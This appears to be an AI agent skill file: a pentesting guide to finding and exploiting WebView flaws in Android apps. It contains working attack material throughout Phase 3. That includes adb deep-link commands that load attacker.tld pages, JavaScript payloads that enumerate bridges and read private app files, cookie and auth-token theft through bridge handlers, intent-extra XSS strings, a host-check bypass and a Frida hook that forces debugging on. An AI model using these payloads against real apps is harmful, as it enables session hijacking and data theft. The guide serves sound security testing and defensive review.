| name | android-webview-pentest |
| description | Android WebView security assessment and exploitation. Use this skill whenever the user mentions WebView vulnerabilities, Android app pentesting, JavaScript bridges, deep-linking attacks, file access in WebViews, or needs to test WebView configurations. Trigger for any Android security testing involving WebView components, @JavascriptInterface exploitation, intent-based WebView attacks, or WebView remote debugging. |
Android WebView Pentesting
A comprehensive guide for assessing and exploiting WebView vulnerabilities in Android applications.
Quick Start
adb shell dumpsys window | grep -i webview
adb shell dumpsys activity | grep -i debug
aapt dump xmltree app.apk AndroidManifest.xml | grep -A5 "exported"
Attack Surface Overview
WebViews are a high-value target because they:
- Can access app cookies, local storage, and session data
- May expose native functionality via JavaScript bridges
- Often have misconfigured file access settings
- Can be triggered via deep links from other apps
Phase 1: Reconnaissance
1.1 Identify WebView Usage
Decompile the APK and search for WebView indicators:
apktool d app.apk -o decompiled
grep -r "WebView" decompiled/
grep -r "loadUrl" decompiled/
grep -r "addJavascriptInterface" decompiled/
grep -r "setJavaScriptEnabled" decompiled/
1.2 Check Manifest for Deep Links
Look for exported activities with VIEW+BROWSABLE intent filters:
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Red flags:
android:exported="true" with VIEW intent
- Custom schemes that route to WebView activities
- Multiple intent-filter paths (one for external browser, one for internal WebView)
1.3 Enumerate JavaScript Interfaces
Search for @JavascriptInterface annotations:
grep -r "@JavascriptInterface" decompiled/
grep -r "addJavascriptInterface" decompiled/
Note the bridge object names (e.g., javascriptBridge, xbridge, AndroidInterface).
Phase 2: Configuration Analysis
2.1 File Access Settings
Check these critical settings in the decompiled code:
| Setting | Method | Risk if Enabled |
|---|
| File access | setAllowFileAccess(true) | Read file:// paths |
| Universal file URL access | setAllowUniversalAccessFromFileURLs(true) | Cross-origin file access (deprecated) |
| File URL access | setAllowFileAccessFromFileURLs(true) | File scheme cross-origin (deprecated) |
| JavaScript | setJavaScriptEnabled(true) | JS execution, bridge access |
| Mixed content | setMixedContentMode() | HTTP content in HTTPS context |
Default behavior:
- Android R+:
setAllowFileAccess() defaults to false
- Jelly Bean+: Universal/file URL access defaults to
false
- JavaScript defaults to
false
2.2 Remote Debugging Check
Look for debugging enabled:
WebView.setWebContentsDebuggingEnabled(true);
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) {
WebView.setWebContentsDebuggingEnabled(true);
}
Test:
adb shell dumpsys webview | grep -i debug
adb forward tcp:9222 localabstract:chrome_devtools_remote
Phase 3: Exploitation Techniques
3.1 Deep-Link WebView Injection
Force the app to load attacker-controlled content:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
adb shell am start -n com.example/.SupportWebView \
-es support_url "https://attacker.tld/xss.html"
Payload to test:
<!DOCTYPE html>
<html>
<head>
<script>
console.log('JS executed in WebView context');
for (let k in window) {
try {
if (typeof window[k] === 'object' || typeof window[k] === 'function') {
console.log('[JSI]', k);
}
} catch(e) {}
}
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///data/data/' + document.domain + '/databases/', true);
xhr.onload = function() { console.log('File access:', this.responseText); };
xhr.send();
</script>
WebView Test
3.2 JavaScript Bridge Exploitation
Basic Bridge Call
If you find a bridge object (e.g., javascriptBridge):
<script>
alert(javascriptBridge.getSecret());
try { alert(javascriptBridge.getVersion()); } catch(e) {}
try { alert(javascriptBridge.getUserInfo()); } catch(e) {}
try { alert(javascriptBridge.getAuthToken()); } catch(e) {}
</script>
Dispatcher-Style Bridge Abuse
Many apps use a generic dispatcher pattern:
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function(data) { console.log(data); }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Common handler names to try:
toBase64, fromBase64
readFile, writeFile
getCookies, setCookies
getUserInfo, getAuthToken
executeCommand, runShell
Cookie Exfiltration
Target common cookie database paths:
const cookiePaths = [
'file:///data/data/<pkg>/app_webview/Default/Cookies',
'file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies',
'file:///data/data/<pkg>/databases/webview.db'
];
cookiePaths.forEach(path => {
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: path }
});
xbridge.invokeMethod(payload);
});
3.3 Intent Extra XSS
Test for reflected XSS via Intent extras:
adb shell am start -n com.victim/.ExportedWebViewActivity \
--es data '<img src=x onerror="alert(document.cookie)">'
adb shell am start -n com.victim/.ExportedWebViewActivity \
--es data '<script>alert(1)</script>'
adb shell am start -n com.victim/.ExportedWebViewActivity \
--es data '<html><body><script>javascriptBridge.getSecret()</script></body></html>'
3.4 Order-of-Checks Bypass
Some apps enable JavaScript before URL validation:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Detection: If your payload executes JavaScript, the app likely has an order-of-checks bug.
3.5 Host Check Bypass
Look for flawed endsWith() checks:
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
Exploit: Use hosts like trusted.com.evil.com or com.trusted.com that satisfy the second clause.
Phase 4: Advanced Techniques
4.1 Enable Remote Debugging (Frida)
For release builds without debugging enabled:
Java.perform(function() {
var WebView = Java.use('android.webkit.WebView');
WebView.setWebContentsDebuggingEnabled.overload('boolean').implementation = function(enabled) {
console.log('[*] WebView.setWebContentsDebuggingEnabled(' + enabled + ')');
this.setWebContentsDebuggingEnabled(true);
};
});
4.2 javascript:// URL Primitive
If the app executes loadUrl("javascript:" + payload) in privileged contexts:
grep -r 'loadUrl.*javascript' decompiled/
4.3 Content Provider Access
WebViews can access content:// URIs:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'content://com.example.provider/path/to/data', true);
xhr.onload = function() { console.log(this.responseText); };
xhr.send();
Detection Patterns
Code Patterns to Hunt
grep -r "addJavascriptInterface" decompiled/
grep -r "setAllowFileAccess" decompiled/
grep -r "setJavaScriptEnabled" decompiled/
grep -r "getQueryParameter.*url" decompiled/
grep -r "onNewIntent" decompiled/
grep -r "setWebContentsDebuggingEnabled" decompiled/
grep -r "getStringExtra" decompiled/
grep -r "loadData" decompiled/
grep -r 'loadUrl.*javascript' decompiled/
grep -r 'evaluateJavascript' decompiled/
Runtime Indicators
- Large Base64 strings in WebView responses (file exfiltration)
- Console logs showing bridge enumeration
- Unexpected JavaScript execution in WebView context
- Cookie/session data appearing in network traffic
Mitigation Checklist
For developers reviewing findings:
References